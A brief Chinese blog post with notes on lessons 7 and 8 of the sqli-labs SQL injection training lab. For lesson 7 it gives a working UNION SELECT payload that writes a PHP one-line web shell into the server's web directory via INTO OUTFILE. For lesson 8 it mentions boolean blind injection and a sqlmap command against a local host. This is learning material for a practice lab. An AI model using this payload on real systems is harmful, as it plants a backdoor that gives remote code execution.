sqlliab7-8

less-7

https://www.jianshu.com/p/20d1282e6e1d
?id=0’))
union select 1,‘2’,’<?php @eval($_POST["cmd"]);?>’ into outfile ‘D:\phpstudy\WWW\sqli\Less-7\test.php’ --+

less-8 盲注 based on bool

盲注用sqlmap或脚本

  • sqlmap -u http://127.0.0.1/sqli/Less-8/?id=1
    sqlmap 也要跑很久…
posted @ 2020-03-19 17:10  10nnn4R  阅读(111)  评论(0)  编辑  收藏  举报